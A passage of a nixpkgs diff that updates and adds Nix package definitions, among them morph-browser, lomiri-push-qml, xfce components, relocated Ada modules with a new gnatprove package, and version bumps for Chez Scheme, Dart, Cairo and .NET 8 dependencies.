details + "^tst_QmlTests" + ]})") + ])) + ]; + + doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform; + + preCheck = '' + export HOME=$TMPDIR + export QT_PLUGIN_PATH=${listToQtVar qtbase.qtPluginPrefix [ qtbase ]} + export QML2_IMPORT_PATH=${listToQtVar qtbase.qtQmlPrefix ([ lomiri-ui-toolkit qtwebengine qtdeclarative qtquickcontrols2 qtsystems ] ++ lomiri-ui-toolkit.propagatedBuildInputs)} + ''; + + postInstall = '' + mkdir -p $out/share/{icons/hicolor/scalable/apps,lomiri-app-launch/splash} + + ln -s $out/share/{morph-browser,icons/hicolor/scalable/apps}/morph-browser.svg + ln -s $out/share/{morph-browser/morph-browser-splash.svg,lomiri-app-launch/splash/morph-browser.svg} + ''; + + passthru = { + updateScript = gitUpdater { }; + tests.standalone = nixosTests.morph-browser; + }; + + meta = with lib; { + description = "Lightweight web browser tailored for Ubuntu Touch"; + homepage = "https://gitlab.com/ubports/development/core/morph-browser"; + changelog = "https://gitlab.com/ubports/development/core/morph-browser/-/blob/${finalAttrs.version}/ChangeLog"; + license = with licenses; [ gpl3Only cc-by-sa-30 ]; + mainProgram = "morph-browser"; + maintainers = teams.lomiri.members; + platforms = platforms.linux; + }; +}) diff --git a/pkgs/desktops/lomiri/data/suru-icon-theme/default.nix b/pkgs/desktops/lomiri/data/suru-icon-theme/default.nix index 796dc05d819aa..32b2cef1f0212 100644 --- a/pkgs/desktops/lomiri/data/suru-icon-theme/default.nix +++ b/pkgs/desktops/lomiri/data/suru-icon-theme/default.nix @@ -9,13 +9,13 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "suru-icon-theme"; - version = "20.05.1"; + version = "2024.02.1"; src = fetchFromGitLab { owner = "ubports"; repo = "development/core/suru-icon-theme"; rev = finalAttrs.version; - hash = "sha256-jJ6J+SjSABZCgnCF9cIFBpeSXX2LMnV+nPLPpoXQv30="; + hash = "sha256-7T9FILhZrs5bbdBEV/FszCOwUd/C1Rl9tbDt77SIzRk="; }; strictDeps = true; @@ -50,6 +50,7 @@ stdenvNoCC.mkDerivation (finalAttrs: { meta = with lib; { description = "Suru Icon Theme for Lomiri Operating Environment"; homepage = "https://gitlab.com/ubports/development/core/suru-icon-theme"; + changelog = "https://gitlab.com/ubports/development/core/suru-icon-theme/-/blob/${finalAttrs.version}/ChangeLog"; license = licenses.cc-by-sa-30; maintainers = teams.lomiri.members; platforms = platforms.all; diff --git a/pkgs/desktops/lomiri/default.nix b/pkgs/desktops/lomiri/default.nix index d0d9c777431e7..4ac9a72eb7fb3 100644 --- a/pkgs/desktops/lomiri/default.nix +++ b/pkgs/desktops/lomiri/default.nix @@ -8,7 +8,11 @@ let inherit (self) callPackage; in { #### Core Apps + lomiri-system-settings-unwrapped = callPackage ./applications/lomiri-system-settings { }; + lomiri-system-settings-security-privacy = callPackage ./applications/lomiri-system-settings/plugins/lomiri-system-settings-security-privacy.nix { }; + lomiri-system-settings = callPackage ./applications/lomiri-system-settings/wrapper.nix { }; lomiri-terminal-app = callPackage ./applications/lomiri-terminal-app { }; + morph-browser = callPackage ./applications/morph-browser { }; #### Data lomiri-schemas = callPackage ./data/lomiri-schemas { }; @@ -31,6 +35,7 @@ let #### QML / QML-related lomiri-action-api = callPackage ./qml/lomiri-action-api { }; lomiri-notifications = callPackage ./qml/lomiri-notifications { }; + lomiri-push-qml = callPackage ./qml/lomiri-push-qml { }; lomiri-settings-components = callPackage ./qml/lomiri-settings-components { }; lomiri-ui-extras = callPackage ./qml/lomiri-ui-extras { }; lomiri-ui-toolkit = callPackage ./qml/lomiri-ui-toolkit { }; diff --git a/pkgs/desktops/lomiri/qml/lomiri-push-qml/default.nix b/pkgs/desktops/lomiri/qml/lomiri-push-qml/default.nix new file mode 100644 index 0000000000000..5fba080988793 --- /dev/null +++ b/pkgs/desktops/lomiri/qml/lomiri-push-qml/default.nix @@ -0,0 +1,74 @@ +{ stdenv +, lib +, fetchFromGitLab +, fetchpatch +, cmake +, lomiri-api +, lomiri-indicator-network +, pkg-config +, qtbase +, qtdeclarative +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "lomiri-push-qml"; + version = "0-unstable-2022-09-15"; + + src = fetchFromGitLab { + owner = "ubports"; + repo = "development/core/lomiri-push-qml"; + rev = "6f87ee5cf92e2af0e0ce672835e71704e236b8c0"; + hash = "sha256-ezLcQRJ7Sq/TVbeGJL3Vq2lzBe7StRRCrWXZs2CCUX8="; + }; + + patches = [ + # Remove when https://gitlab.com/ubports/development/core/lomiri-push-qml/-/merge_requests/6 merged + (fetchpatch { + name = "0001-lomiri-push-qml-Stop-using-qt5_use_modules.patch"; + url = "https://gitlab.com/ubports/development/core/lomiri-push-qml/-/commit/a4268c98b9f50fdd52da69c173d377f78ea93104.patch"; + hash = "sha256-OijTB5+I9/wabT7dX+DkvoEROKzAUIKhBZkkhqq5Oig="; + }) + ]; + + postPatch = '' + # Queries QMake for QML install location, returns QtBase build path + substituteInPlace src/*/PushNotifications/CMakeLists.txt \ + --replace-fail 'qmake -query QT_INSTALL_QML' 'echo ''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}' \ + ''; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + pkg-config + qtdeclarative # qmlplugindump + ]; + + buildInputs = [ + lomiri-api + lomiri-indicator-network + qtbase + qtdeclarative + ]; + + dontWrapQtApps = true; + + cmakeFlags = [ + # In case anything still depends on deprecated hints + (lib.cmakeBool "ENABLE_UBUNTU_COMPAT" true) + ]; + + preBuild = '' + # For qmlplugindump + export QT_PLUGIN_PATH=${lib.getBin qtbase}/${qtbase.qtPluginPrefix} + ''; + + meta = with lib; { + description = "Lomiri Push Notifications QML plugin"; + homepage = "https://gitlab.com/ubports/development/core/lomiri-push-qml"; + # License file indicates gpl3Only, but de87869c2cdb9819c2ca7c9eca9c5fb8b500a01f says it should be lgpl3Only + license = licenses.lgpl3Only; + maintainers = teams.lomiri.members; + platforms = platforms.linux; + }; +}) diff --git a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix index 7f2a5d256cb00..6300cc52545b0 100644 --- a/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix +++ b/pkgs/desktops/lomiri/services/lomiri-thumbnailer/default.nix @@ -87,6 +87,11 @@ stdenv.mkDerivation (finalAttrs: { url = "https://gitlab.com/ubports/development/core/lomiri-thumbnailer/-/commit/657be3bd1aeb227edc04e26b597b2fe97b2dc51a.patch"; hash = "sha256-XEvdWV3JJujG16+87iewYor0jFK7NTeE5459iT96SkU="; }) + (fetchpatch { + name = "0008-fix-googletest-1-13.patch"; + url = "https://salsa.debian.org/ubports-team/lomiri-thumbnailer/-/raw/debian/3.0.3-1/debian/patches/0001_fix_googletest_1_13.patch"; + hash = "sha256-oBcdspQMhCxh4L/XotG9NRp/Ij2YzIjpC8xg/jdiptw="; + }) ]; postPatch = '' diff --git a/pkgs/desktops/lxqt/default.nix b/pkgs/desktops/lxqt/default.nix index eacdac554136e..dec4cabffe7e6 100644 --- a/pkgs/desktops/lxqt/default.nix +++ b/pkgs/desktops/lxqt/default.nix @@ -61,6 +61,7 @@ let libqtxdg libsysstat liblxqt + qtxdg-tools ### CORE 1 libfm-qt diff --git a/pkgs/desktops/xfce/applications/xfce4-screensaver/default.nix b/pkgs/desktops/xfce/applications/xfce4-screensaver/default.nix index 791c8ecbde523..8422f6661e02f 100644 --- a/pkgs/desktops/xfce/applications/xfce4-screensaver/default.nix +++ b/pkgs/desktops/xfce/applications/xfce4-screensaver/default.nix @@ -25,9 +25,9 @@ in mkXfceDerivation { category = "apps"; pname = "xfce4-screensaver"; - version = "4.18.2"; + version = "4.18.3"; - sha256 = "sha256-j5K5i+hl/miyHste73akZL62K6YTxXmN8mmFK9BCecs="; + sha256 = "sha256-hOhWJoiKoeRgkhXaR8rnDpcJpStMD4BBdll4nwSA+EQ="; nativeBuildInputs = [ gobject-introspection diff --git a/pkgs/desktops/xfce/applications/xfce4-taskmanager/default.nix b/pkgs/desktops/xfce/applications/xfce4-taskmanager/default.nix index dc2412b329c80..5336d5ce41f39 100644 --- a/pkgs/desktops/xfce/applications/xfce4-taskmanager/default.nix +++ b/pkgs/desktops/xfce/applications/xfce4-taskmanager/default.nix @@ -13,10 +13,10 @@ mkXfceDerivation { category = "apps"; pname = "xfce4-taskmanager"; - version = "1.5.6"; + version = "1.5.7"; odd-unstable = false; - sha256 = "sha256-2NkjaK6xXsrMimriO2/gTOZowt9KTX4MrWJpPXM0w68="; + sha256 = "sha256-znadP7rrP/IxH22U1D9p6IHZ1J1JfXoCVk8iKUgrkJw="; nativeBuildInputs = [ exo diff --git a/pkgs/desktops/xfce/applications/xfce4-terminal/default.nix b/pkgs/desktops/xfce/applications/xfce4-terminal/default.nix index 58abe3229e8b3..ac1d8f96ea39c 100644 --- a/pkgs/desktops/xfce/applications/xfce4-terminal/default.nix +++ b/pkgs/desktops/xfce/applications/xfce4-terminal/default.nix @@ -17,10 +17,10 @@ mkXfceDerivation { category = "apps"; pname = "xfce4-terminal"; - version = "1.1.2"; + version = "1.1.3"; odd-unstable = false; - sha256 = "sha256-9RJmHYT9yYhtyzyTcg3nnD2hlCgENyi/3TNOGUto494="; + sha256 = "sha256-CUIQf22Lmb6MNPd2wk8LlHFNUhdIoC1gzVV6RDP2PfY="; nativeBuildInputs = [ libxslt diff --git a/pkgs/desktops/xfce/core/xfce4-panel/default.nix b/pkgs/desktops/xfce/core/xfce4-panel/default.nix index fe7306deb4833..3d96f682dbca6 100644 --- a/pkgs/desktops/xfce/core/xfce4-panel/default.nix +++ b/pkgs/desktops/xfce/core/xfce4-panel/default.nix @@ -16,9 +16,9 @@ mkXfceDerivation { category = "xfce"; pname = "xfce4-panel"; - version = "4.18.5"; + version = "4.18.6"; - sha256 = "sha256-1oh9C2ZlpcUulqhxUEPLhX22R7tko0rMmDixgkgaU9o="; + sha256 = "sha256-eQLz/LJIx2WkzcSLytRdJdhtGv0woT48mdqG7eHB0U4="; nativeBuildInputs = [ gobject-introspection @@ -44,7 +44,7 @@ mkXfceDerivation { postPatch = '' substituteInPlace plugins/clock/clock.c \ - --replace "/usr/share/zoneinfo" "${tzdata}/share/zoneinfo" + --replace-fail "/usr/share/zoneinfo" "${tzdata}/share/zoneinfo" ''; meta = with lib; { diff --git a/pkgs/desktops/xfce/panel-plugins/xfce4-clipman-plugin/default.nix b/pkgs/desktops/xfce/panel-plugins/xfce4-clipman-plugin/default.nix index 16f08da23deb6..74ff2d171044b 100644 --- a/pkgs/desktops/xfce/panel-plugins/xfce4-clipman-plugin/default.nix +++ b/pkgs/desktops/xfce/panel-plugins/xfce4-clipman-plugin/default.nix @@ -1,5 +1,6 @@ { lib , mkXfceDerivation +, wayland-scanner , glib , gtk3 , libX11 @@ -10,13 +11,18 @@ , xfce4-panel , xfconf , wayland +, wlr-protocols }: mkXfceDerivation { category = "panel-plugins"; pname = "xfce4-clipman-plugin"; - version = "1.6.5"; - sha256 = "sha256-aKcIwlNlaJEHgIq0S7+VG/os49+zRqkZXsQVse4B9oE="; + version = "1.6.6"; + sha256 = "sha256-wdEoM4etco+s0+dULkBvWJZ3WBCW3Ph2bdY0E/l5VRc="; + + nativeBuildInputs = [ + wayland-scanner + ]; buildInputs = [ glib @@ -29,6 +35,7 @@ mkXfceDerivation { xfce4-panel xfconf wayland + wlr-protocols ]; meta = with lib; { diff --git a/pkgs/development/libraries/ada/gnatcoll/bindings.nix b/pkgs/development/ada-modules/gnatcoll/bindings.nix index c8896c14c32f9..c8896c14c32f9 100644 --- a/pkgs/development/libraries/ada/gnatcoll/bindings.nix +++ b/pkgs/development/ada-modules/gnatcoll/bindings.nix diff --git a/pkgs/development/libraries/ada/gnatcoll/core.nix b/pkgs/development/ada-modules/gnatcoll/core.nix index 7fdd4e99d550b..7fdd4e99d550b 100644 --- a/pkgs/development/libraries/ada/gnatcoll/core.nix +++ b/pkgs/development/ada-modules/gnatcoll/core.nix diff --git a/pkgs/development/libraries/ada/gnatcoll/db.nix b/pkgs/development/ada-modules/gnatcoll/db.nix index 6eacff1ddb82f..6eacff1ddb82f 100644 --- a/pkgs/development/libraries/ada/gnatcoll/db.nix +++ b/pkgs/development/ada-modules/gnatcoll/db.nix diff --git a/pkgs/development/ada-modules/gnatprove/default.nix b/pkgs/development/ada-modules/gnatprove/default.nix new file mode 100644 index 0000000000000..884406d3342e2 --- /dev/null +++ b/pkgs/development/ada-modules/gnatprove/default.nix @@ -0,0 +1,96 @@ +{ stdenv +, lib +, fetchFromGitHub +, gnat +, gnatcoll-core +, gprbuild +, python3 +, ocamlPackages +, makeWrapper +}: +let + gnat_version = lib.versions.major gnat.version; + + fetchSpark2014 = { rev, sha256 } : fetchFromGitHub { + owner = "AdaCore"; + repo = "spark2014"; + fetchSubmodules = true; + inherit rev sha256; + }; + + spark2014 = { + "12" = { + src = fetchSpark2014 { + rev = "ab34e07080a769b63beacc141707b5885c49d375"; # branch fsf-12 + sha256 = "sha256-7pe3eWitpxmqzjW6qEIEuN0qr2IR+kJ7Ssc9pTBcCD8="; + }; + commit_date = "2022-05-25"; + }; + "13" = { + src = fetchSpark2014 { + rev = "12db22e854defa9d1c993ef904af1e72330a68ca"; # branch fsf-13 + sha256 = "sha256-mZWP9yF1O4knCiXx8CqolnS+93bM+hTQy40cd0HZmwI="; + }; + commit_date = "2023-01-05"; + }; + }; + + thisSpark = spark2014.${gnat_version} or + (builtins.throw "GNATprove depend on a specific GNAT version and can't be built using GNAT ${gnat_version}."); + +in +stdenv.mkDerivation rec { + pname = "gnatprove"; + version = "fsf-${gnat_version}_${thisSpark.commit_date}"; + + src = thisSpark.src; + + nativeBuildInputs = [ + gnat + gprbuild + python3 + ocamlPackages.ocaml + makeWrapper + ]; + + buildInputs = [ + gnatcoll-core + ocamlPackages.camlzip + ocamlPackages.findlib + ocamlPackages.menhir + ocamlPackages.menhirLib + ocamlPackages.num + ocamlPackages.yojson + ocamlPackages.zarith + ]; + + propagatedBuildInputs = [ + gprbuild + ]; + + postPatch = '' + # gnat2why/gnat_src points to the GNAT sources + tar xf ${gnat.cc.src} gcc-${gnat.cc.version}/gcc/ada + mv gcc-${gnat.cc.version}/gcc/ada gnat2why/gnat_src + ''; + + configurePhase = '' + make setup + ''; + + installPhase = '' + make install-all + cp -a ./install/. $out + mkdir $out/share/gpr + ln -s $out/lib/gnat/* $out/share/gpr/ + ''; + + meta = with lib; { + description = "a software development technology specifically designed for engineering high-reliability applications"; + homepage = "https://github.com/AdaCore/spark2014"; + maintainers = [ maintainers.jiegec ]; + license = licenses.gpl3; + platforms = platforms.all; + }; +} + diff --git a/pkgs/development/tools/build-managers/gprbuild/boot.nix b/pkgs/development/ada-modules/gprbuild/boot.nix index 4207b3649594f..4207b3649594f 100644 --- a/pkgs/development/tools/build-managers/gprbuild/boot.nix +++ b/pkgs/development/ada-modules/gprbuild/boot.nix diff --git a/pkgs/development/tools/build-managers/gprbuild/default.nix b/pkgs/development/ada-modules/gprbuild/default.nix index aad1157012634..fcb358d5fb5fd 100644 --- a/pkgs/development/tools/build-managers/gprbuild/default.nix +++ b/pkgs/development/ada-modules/gprbuild/default.nix @@ -54,7 +54,10 @@ stdenv.mkDerivation { # link gprconfig_kb db from gprbuild-boot into build dir, # the install process copies its contents to $out preInstall = '' - ln -sf ${gprbuild-boot}/share/gprconfig share/gprconfig + # Use PATH to discover spliced gprbuild-boot from buildPackages, + # since path interpolation would give us gprbuild-boot from pkgsHostTarget + gprbuild_boot="$(dirname "$(type -p gprbuild)")/.." + ln -sf "$gprbuild_boot/share/gprconfig" share/gprconfig ''; # no need for the install script diff --git a/pkgs/development/tools/build-managers/gprbuild/gpr-project-darwin-rpath-hook.sh b/pkgs/development/ada-modules/gprbuild/gpr-project-darwin-rpath-hook.sh index 73be2eb5960aa..73be2eb5960aa 100644 --- a/pkgs/development/tools/build-managers/gprbuild/gpr-project-darwin-rpath-hook.sh +++ b/pkgs/development/ada-modules/gprbuild/gpr-project-darwin-rpath-hook.sh diff --git a/pkgs/development/tools/build-managers/gprbuild/gpr-project-path-hook.sh b/pkgs/development/ada-modules/gprbuild/gpr-project-path-hook.sh index f98b2ab9e58d3..f98b2ab9e58d3 100644 --- a/pkgs/development/tools/build-managers/gprbuild/gpr-project-path-hook.sh +++ b/pkgs/development/ada-modules/gprbuild/gpr-project-path-hook.sh diff --git a/pkgs/development/tools/build-managers/gprbuild/gprbuild-relocatable-build.patch b/pkgs/development/ada-modules/gprbuild/gprbuild-relocatable-build.patch index f49478f6e38c4..f49478f6e38c4 100644 --- a/pkgs/development/tools/build-managers/gprbuild/gprbuild-relocatable-build.patch +++ b/pkgs/development/ada-modules/gprbuild/gprbuild-relocatable-build.patch diff --git a/pkgs/development/tools/build-managers/gprbuild/nixpkgs-gnat.xml b/pkgs/development/ada-modules/gprbuild/nixpkgs-gnat.xml index ead88dc365c1e..ead88dc365c1e 100644 --- a/pkgs/development/tools/build-managers/gprbuild/nixpkgs-gnat.xml +++ b/pkgs/development/ada-modules/gprbuild/nixpkgs-gnat.xml diff --git a/pkgs/development/libraries/ada/xmlada/default.nix b/pkgs/development/ada-modules/xmlada/default.nix index 77e8094277a71..77e8094277a71 100644 --- a/pkgs/development/libraries/ada/xmlada/default.nix +++ b/pkgs/development/ada-modules/xmlada/default.nix diff --git a/pkgs/development/compilers/ballerina/default.nix b/pkgs/development/compilers/ballerina/default.nix index c979b02252984..5f2e4d88b0ce8 100644 --- a/pkgs/development/compilers/ballerina/default.nix +++ b/pkgs/development/compilers/ballerina/default.nix @@ -1,6 +1,6 @@ { ballerina, lib, writeText, runCommand, makeWrapper, fetchzip, stdenv, openjdk }: let - version = "2201.8.4"; + version = "2201.8.5"; codeName = "swan-lake"; in stdenv.mkDerivation { pname = "ballerina"; @@ -8,7 +8,7 @@ in stdenv.mkDerivation { src = fetchzip { url = "https://dist.ballerina.io/downloads/${version}/ballerina-${version}-${codeName}.zip"; - hash = "sha256-9+h5tK77ebbob1fOIB98mi9t6QJFB230yJMba6o+yEI="; + hash = "sha256-xqgLEMlc8s7qsrjz9kDBvwmfS0ytTqP4yOaet6xog8A="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/compilers/cairo/default.nix b/pkgs/development/compilers/cairo/default.nix index 0e7283e52caa8..51b6c641da94a 100644 --- a/pkgs/development/compilers/cairo/default.nix +++ b/pkgs/development/compilers/cairo/default.nix @@ -6,21 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "cairo"; - version = "2.4.0"; + version = "2.5.4"; src = fetchFromGitHub { owner = "starkware-libs"; repo = "cairo"; rev = "v${version}"; - hash = "sha256-5bCPklk9u21/9cZYisszK0Lo7is9+iFrQxve41Fy5hg="; + hash = "sha256-ctb5VingMczzHLyyEjKgFKNAZI3/fqzjFW/RQGDSsyQ="; }; - cargoPatches = [ - # Upstream Cargo.lock is not up-to-date. - # https://github.com/starkware-libs/cairo/issues/4530 - ./ensure-consistency-of-cargo-lock.patch - ]; - cargoHash = "sha256-YCW6nwmUXMiP65QHCH6k29672gIkuz+MCmTqI+qaOyA="; + cargoHash = "sha256-T21GuGQaX/VD907MEGp68bQPXrRK0it4o1nLEdHwTsE="; nativeCheckInputs = [ rustfmt diff --git a/pkgs/development/compilers/cakelisp/default.nix b/pkgs/development/compilers/cakelisp/default.nix index 52e486c4ee601..422611cf2b86d 100644 --- a/pkgs/development/compilers/cakelisp/default.nix +++ b/pkgs/development/compilers/cakelisp/default.nix @@ -1,13 +1,14 @@ -{ lib, stdenv, fetchgit, gcc }: +{ lib, stdenv, fetchgit, fetchpatch, gcc, unstableGitUpdater }: stdenv.mkDerivation rec { pname = "cakelisp"; - version = "0.1.0"; + # using unstable as it's the only version that builds against gcc-13 + version = "0.3.0-unstable-2023-12-18"; src = fetchgit { url = "https://macoy.me/code/macoy/cakelisp"; - rev = "v${version}"; - sha256 = "sha256-r7Yg8+2U8qQTYRP3KFET7oBRCZHIZS6Y8TsfL1NR24g="; + rev = "866fa2806d3206cc9dd398f0e86640db5be42bd6"; + hash = "sha256-vwMZUNy+updwk69ahA/D9LhO68eV6wH0Prq+o/i1Q/A="; }; buildInputs = [ gcc ]; @@ -35,6 +36,10 @@ stdenv.mkDerivation rec { runHook postInstall ''; + passthru.updateScript = unstableGitUpdater { + url = "https://macoy.me/code/macoy/cakelisp"; + }; + meta = with lib; { description = "A performance-oriented Lisp-like language"; homepage = "https://macoy.me/code/macoy/cakelisp"; diff --git a/pkgs/development/compilers/chez/default.nix b/pkgs/development/compilers/chez/default.nix index fc7dfa78cefee..c0448a7e6d4f6 100644 --- a/pkgs/development/compilers/chez/default.nix +++ b/pkgs/development/compilers/chez/default.nix @@ -1,15 +1,15 @@ { lib, stdenv, fetchurl , coreutils, cctools -, ncurses, libiconv, libX11, libuuid +, ncurses, libiconv, libX11, libuuid, testers }: stdenv.mkDerivation (finalAttrs: { pname = "chez-scheme"; - version = "9.6.4"; + version = "10.0.0"; src = fetchurl { url = "https://github.com/cisco/ChezScheme/releases/download/v${finalAttrs.version}/csv${finalAttrs.version}.tar.gz"; - hash = "sha256-9YJ2gvolnEeXX/4Hh4X7Vh5KXFT3ZDMe9mwyEyhDaF0="; + hash = "sha256-03GZASte0ZhcQGnWqH/xjl4fWi3yfkApkfr0XcTyIyw="; }; nativeBuildInputs = lib.optional stdenv.isDarwin cctools; @@ -28,18 +28,11 @@ stdenv.mkDerivation (finalAttrs: { ** NixOS or in any chroot build. */ patchPhase = '' - substituteInPlace ./configure \ - --replace "git submodule init && git submodule update || exit 1" "true" - - substituteInPlace ./workarea \ - --replace "/bin/ln" ln \ - --replace "/bin/cp" cp - substituteInPlace ./makefiles/installsh \ - --replace "/usr/bin/true" "${coreutils}/bin/true" + --replace-warn "/usr/bin/true" "${coreutils}/bin/true" substituteInPlace zlib/configure \ - --replace "/usr/bin/libtool" libtool + --replace-warn "/usr/bin/libtool" libtool ''; /* @@ -52,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: { ** for. */ configurePhase = '' - ./configure --threads --installprefix=$out --installman=$out/share/man + ./configure --as-is --threads --installprefix=$out --installman=$out/share/man ''; /* @@ -64,12 +57,18 @@ stdenv.mkDerivation (finalAttrs: { setupHook = ./setup-hook.sh; + passthru.tests = { + version = testers.testVersion { + package = finalAttrs.finalPackage; + }; + }; + meta = { description = "A powerful and incredibly fast R6RS Scheme compiler"; homepage = "https://cisco.github.io/ChezScheme/"; license = lib.licenses.asl20; maintainers = with lib.maintainers; [ thoughtpolice ]; platforms = lib.platforms.unix; - badPlatforms = [ "aarch64-linux" "aarch64-darwin" ]; + mainProgram = "scheme"; }; }) diff --git a/pkgs/development/compilers/circt/default.nix b/pkgs/development/compilers/circt/default.nix index bef2c568de133..551a325852dd6 100644 --- a/pkgs/development/compilers/circt/default.nix +++ b/pkgs/development/compilers/circt/default.nix @@ -17,12 +17,12 @@ let in stdenv.mkDerivation rec { pname = "circt"; - version = "1.65.0"; + version = "1.67.0"; src = fetchFromGitHub { owner = "llvm"; repo = "circt"; rev = "firtool-${version}"; - sha256 = "sha256-RYQAnvU+yoHGrU9zVvrD1/O80ioHEq2Cvo/MIjI6uTo="; + hash = "sha256-ftKtqKIgGVqiETTsirhydjmFiozqHoMRdu+IBZc8iMI="; fetchSubmodules = true; }; diff --git a/pkgs/development/compilers/dart/sources.nix b/pkgs/development/compilers/dart/sources.nix index 865a75bbff5f5..5e19aba467fec 100644 --- a/pkgs/development/compilers/dart/sources.nix +++ b/pkgs/development/compilers/dart/sources.nix @@ -1,24 +1,24 @@ -let version = "3.2.6"; in +let version = "3.3.0"; in { fetchurl }: { versionUsed = version; "${version}-x86_64-darwin" = fetchurl { url = "https://storage.googleapis.com/dart-archive/channels/stable/release/${version}/sdk/dartsdk-macos-x64-release.zip"; - sha256 = "05w5v6f302gwwpa3my8baz4spmdmqrimmc659wgki1h64ch1yrlp"; + sha256 = "1cwxvn7321444mkpcv1vix5bi2ianiadvrjib6z5irdj8pbwlkih"; }; "${version}-aarch64-darwin" = fetchurl { url = "https://storage.googleapis.com/dart-archive/channels/stable/release/${version}/sdk/dartsdk-macos-arm64-release.zip"; - sha256 = "1dmd70jjpfi19rmlvj2hbggw92z03jm8irrwx6r0bk7r748cj11f"; + sha256 = "1clang815wwy6szwl1rkjzl9d6zard15d1c2p6i7xpvvk3rb6m5j"; }; "${version}-aarch64-linux" = fetchurl { url = "https://storage.googleapis.com/dart-archive/channels/stable/release/${version}/sdk/dartsdk-linux-arm64-release.zip"; - sha256 = "1hs1mvk90qb0nijm8wcvv6xkd79z44i2bpcv2nh933lysdys664q"; + sha256 = "00mjnzld4zbk37x7g7428by3dwpkc7nhja4p6dlhl1xj2lb4qs0r"; }; "${version}-x86_64-linux" = fetchurl { url = "https://storage.googleapis.com/dart-archive/channels/stable/release/${version}/sdk/dartsdk-linux-x64-release.zip"; - sha256 = "0j0xmyxdmzn4ii24j27yw6l3074ay4n2qjyzh967cpbg9yhr0cr5"; + sha256 = "1bdwdjjnfjrwcfg2iy76bh939kkgw25130if7fxl3jay0sj6pgry"; }; "${version}-i686-linux" = fetchurl { url = "https://storage.googleapis.com/dart-archive/channels/stable/release/${version}/sdk/dartsdk-linux-ia32-release.zip"; - sha256 = "0ml9dvnd7f0rld3wfnnmv7arfs821zg8rqaq1c7zvqhkj3i0dwci"; + sha256 = "0r9ypqd5b0l31bklm9q3g1aw9i1qyfkxr9vdn5wwfkicvqjiffs2"; }; } diff --git a/pkgs/development/compilers/dotnet/8/default.nix b/pkgs/development/compilers/dotnet/8/default.nix new file mode 100644 index 0000000000000..8b98aa962dc9e --- /dev/null +++ b/pkgs/development/compilers/dotnet/8/default.nix @@ -0,0 +1,9 @@ +{ callPackage +, dotnetCorePackages +, bootstrapSdk +}: callPackage ../dotnet.nix { + releaseManifestFile = ./release.json; + releaseInfoFile = ./release-info.json; + depsFile = ./deps.nix; + inherit bootstrapSdk; +} diff --git a/pkgs/development/compilers/dotnet/8/deps.nix b/pkgs/development/compilers/dotnet/8/deps.nix new file mode 100644 index 0000000000000..ce7ee48bb102a --- /dev/null +++ b/pkgs/development/compilers/dotnet/8/deps.nix @@ -0,0 +1,10 @@ +{ fetchNuGet }: [ + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.ILAsm"; sha256 = "8985f0b9855daaf8b4a38f32a91902bdbb99a2f1801a98c68a5013d94842524e"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.1-servicing.23580.1/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.ILDAsm"; sha256 = "0496a403691e50662c5aef598248d8cd92ad1da1e93a859aedee5bb91bb9c821"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.1-servicing.23580.1/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.ILAsm"; sha256 = "0c5k9ckp7zjspyqqzz817jr8pglnn7wxhmv2hfk700swb96qhg0w"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.1-servicing.23580.1/runtime.linux-x64.microsoft.netcore.ilasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.ILDAsm"; sha256 = "1pyydnypv9x25p7y35j85f8pxnyxq3w2vc8i84klq90kzgzig5a8"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.1-servicing.23580.1/runtime.linux-x64.microsoft.netcore.ildasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.ILAsm"; sha256 = "7609cfc7fd617a580caba18d458ed644ab799346139b3ead9df9502abe8d0541"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.1-servicing.23580.1/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.ILDAsm"; sha256 = "6a969c2f6261834ab8ec9829cffed5a1a1f35667bf382b7c902d1b26db192e27"; url = 